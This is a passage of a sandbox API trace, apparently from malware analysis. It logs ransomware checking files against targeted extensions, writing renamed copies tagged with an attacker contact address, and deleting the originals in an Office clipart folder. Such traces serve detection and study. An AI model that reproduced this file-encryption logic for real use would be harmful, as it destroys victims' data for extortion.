	[0258.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63
	[0258.412] lstrlenW (lpString=".doc") returned 4
	[0258.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.412] lstrlenW (lpString=".docx") returned 5
	[0258.412] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.412] lstrlenW (lpString=".pdf") returned 4
	[0258.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.412] lstrlenW (lpString=".xls") returned 4
	[0258.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.412] lstrlenW (lpString=".xlsx") returned 5
	[0258.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.413] lstrlenW (lpString=".ppt") returned 4
	[0258.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63
	[0258.413] lstrlenW (lpString=".zip") returned 4
	[0258.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.413] lstrlenW (lpString=".rar") returned 4
	[0258.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.413] lstrlenW (lpString=".bz2") returned 4
	[0258.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.413] lstrlenW (lpString=".7z") returned 3
	[0258.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63
	[0258.413] lstrlenW (lpString=".dbf") returned 4
	[0258.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63
	[0258.413] lstrlenW (lpString=".1cd") returned 4
	[0258.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63
	[0258.413] lstrlenW (lpString=".jpg") returned 4
	[0258.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.413] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0258.413] lstrlenW (lpString="BS00092_.WMF") returned 12
	[0258.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0258.432] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=7974) returned 1
	[0258.432] CloseHandle (hObject=0x334) returned 1
	[0258.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x20
	[0258.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0258.586] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.586] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0258.690] GetLastError () returned 0x0
	[0258.690] ReadFile (in: hFile=0x330, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1f26, lpOverlapped=0x0) returned 1
	[0258.693] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1f30, lpOverlapped=0x0) returned 1
	[0258.694] ReadFile (in: hFile=0x330, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.694] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.696] SetEndOfFile (hFile=0x35c) returned 1
	[0258.696] CloseHandle (hObject=0x35c) returned 1
	[0258.696] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.696] SetEndOfFile (hFile=0x330) returned 1
	[0258.698] CloseHandle (hObject=0x330) returned 1
	[0258.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 1
	[0258.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63
	[0258.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63
	[0258.718] lstrlenW (lpString=".doc") returned 4
	[0258.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.718] lstrlenW (lpString=".docx") returned 5
	[0258.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.718] lstrlenW (lpString=".pdf") returned 4
	[0258.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.718] lstrlenW (lpString=".xls") returned 4
	[0258.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.718] lstrlenW (lpString=".xlsx") returned 5
	[0258.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.718] lstrlenW (lpString=".ppt") returned 4
	[0258.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63
	[0258.718] lstrlenW (lpString=".zip") returned 4
	[0258.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.718] lstrlenW (lpString=".rar") returned 4
	[0258.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.718] lstrlenW (lpString=".bz2") returned 4
	[0258.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.718] lstrlenW (lpString=".7z") returned 3
	[0258.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63
	[0258.719] lstrlenW (lpString=".dbf") returned 4
	[0258.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63
	[0258.719] lstrlenW (lpString=".1cd") returned 4
	[0258.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63
	[0258.719] lstrlenW (lpString=".jpg") returned 4
	[0258.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63
	[0258.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63
	[0258.719] lstrlenW (lpString=".doc") returned 4
	[0258.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.719] lstrlenW (lpString=".docx") returned 5
	[0258.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.719] lstrlenW (lpString=".pdf") returned 4
	[0258.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.719] lstrlenW (lpString=".xls") returned 4
	[0258.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.719] lstrlenW (lpString=".xlsx") returned 5
	[0258.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.719] lstrlenW (lpString=".ppt") returned 4
	[0258.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63
	[0258.719] lstrlenW (lpString=".zip") returned 4
	[0258.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.719] lstrlenW (lpString=".rar") returned 4
	[0258.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.719] lstrlenW (lpString=".bz2") returned 4
	[0258.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.719] lstrlenW (lpString=".7z") returned 3
	[0258.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63
	[0258.720] lstrlenW (lpString=".dbf") returned 4
	[0258.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63
	[0258.720] lstrlenW (lpString=".1cd") returned 4
	[0258.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63
	[0258.720] lstrlenW (lpString=".jpg") returned 4
	[0258.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.720] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0258.720] lstrlenW (lpString="BS00224_.WMF") returned 12
	[0258.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0258.720] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=1588) returned 1
	[0258.720] CloseHandle (hObject=0x35c) returned 1
	[0258.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20
	[0258.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0258.721] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.721] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0258.721] GetLastError () returned 0x0
	[0258.721] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x634, lpOverlapped=0x0) returned 1
	[0258.732] WriteFile (in: hFile=0x354, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x640, lpOverlapped=0x0) returned 1
	[0258.733] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.733] WriteFile (in: hFile=0x354, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.733] SetEndOfFile (hFile=0x354) returned 1
	[0259.404] CloseHandle (hObject=0x354) returned 1
	[0259.404] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.404] SetEndOfFile (hFile=0x35c) returned 1
	[0259.406] CloseHandle (hObject=0x35c) returned 1
	[0259.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 1
	[0259.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63
	[0259.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63
	[0259.422] lstrlenW (lpString=".doc") returned 4
	[0259.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.422] lstrlenW (lpString=".docx") returned 5
	[0259.422] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.422] lstrlenW (lpString=".pdf") returned 4
	[0259.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.423] lstrlenW (lpString=".xls") returned 4
	[0259.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.423] lstrlenW (lpString=".xlsx") returned 5
	[0259.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.423] lstrlenW (lpString=".ppt") returned 4
	[0259.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63
	[0259.423] lstrlenW (lpString=".zip") returned 4
	[0259.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.423] lstrlenW (lpString=".rar") returned 4
	[0259.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.423] lstrlenW (lpString=".bz2") returned 4
	[0259.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.423] lstrlenW (lpString=".7z") returned 3
	[0259.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63
	[0259.423] lstrlenW (lpString=".dbf") returned 4
	[0259.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63
	[0259.423] lstrlenW (lpString=".1cd") returned 4
	[0259.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63
	[0259.423] lstrlenW (lpString=".jpg") returned 4
	[0259.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63
	[0259.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63
	[0259.423] lstrlenW (lpString=".doc") returned 4
	[0259.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.423] lstrlenW (lpString=".docx") returned 5
	[0259.423] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.424] lstrlenW (lpString=".pdf") returned 4
	[0259.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.424] lstrlenW (lpString=".xls") returned 4
	[0259.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.424] lstrlenW (lpString=".xlsx") returned 5
	[0259.424] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.424] lstrlenW (lpString=".ppt") returned 4
	[0259.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63
	[0259.424] lstrlenW (lpString=".zip") returned 4
	[0259.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.424] lstrlenW (lpString=".rar") returned 4
	[0259.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.424] lstrlenW (lpString=".bz2") returned 4
	[0259.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.424] lstrlenW (lpString=".7z") returned 3
	[0259.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63
	[0259.424] lstrlenW (lpString=".dbf") returned 4
	[0259.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63
	[0259.424] lstrlenW (lpString=".1cd") returned 4
	[0259.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63
	[0259.424] lstrlenW (lpString=".jpg") returned 4
	[0259.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.424] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.424] lstrlenW (lpString="BS00438_.WMF") returned 12
	[0259.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0259.425] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=1212) returned 1
	[0259.425] CloseHandle (hObject=0x33c) returned 1
	[0259.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20
	[0259.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0259.425] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.425] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0259.427] GetLastError () returned 0x0
	[0259.427] ReadFile (in: hFile=0x33c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x4bc, lpOverlapped=0x0) returned 1
	[0259.453] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x4c0, lpOverlapped=0x0) returned 1
	[0259.454] ReadFile (in: hFile=0x33c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.454] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.454] SetEndOfFile (hFile=0x35c) returned 1
	[0259.454] CloseHandle (hObject=0x35c) returned 1
	[0259.454] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.454] SetEndOfFile (hFile=0x33c) returned 1
	[0259.457] CloseHandle (hObject=0x33c) returned 1
	[0259.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 1
	[0259.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63
	[0259.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63
	[0259.743] lstrlenW (lpString=".doc") returned 4
	[0259.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.743] lstrlenW (lpString=".docx") returned 5
	[0259.743] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.743] lstrlenW (lpString=".pdf") returned 4
	[0259.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.743] lstrlenW (lpString=".xls") returned 4
	[0259.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.743] lstrlenW (lpString=".xlsx") returned 5
	[0259.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.743] lstrlenW (lpString=".ppt") returned 4
	[0259.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63
	[0259.743] lstrlenW (lpString=".zip") returned 4
	[0259.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.743] lstrlenW (lpString=".rar") returned 4
	[0259.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.743] lstrlenW (lpString=".bz2") returned 4
	[0259.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.743] lstrlenW (lpString=".7z") returned 3
	[0259.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63
	[0259.744] lstrlenW (lpString=".dbf") returned 4
	[0259.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63
	[0259.744] lstrlenW (lpString=".1cd") returned 4
	[0259.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63
	[0259.744] lstrlenW (lpString=".jpg") returned 4
	[0259.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63
	[0259.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63
	[0259.744] lstrlenW (lpString=".doc") returned 4
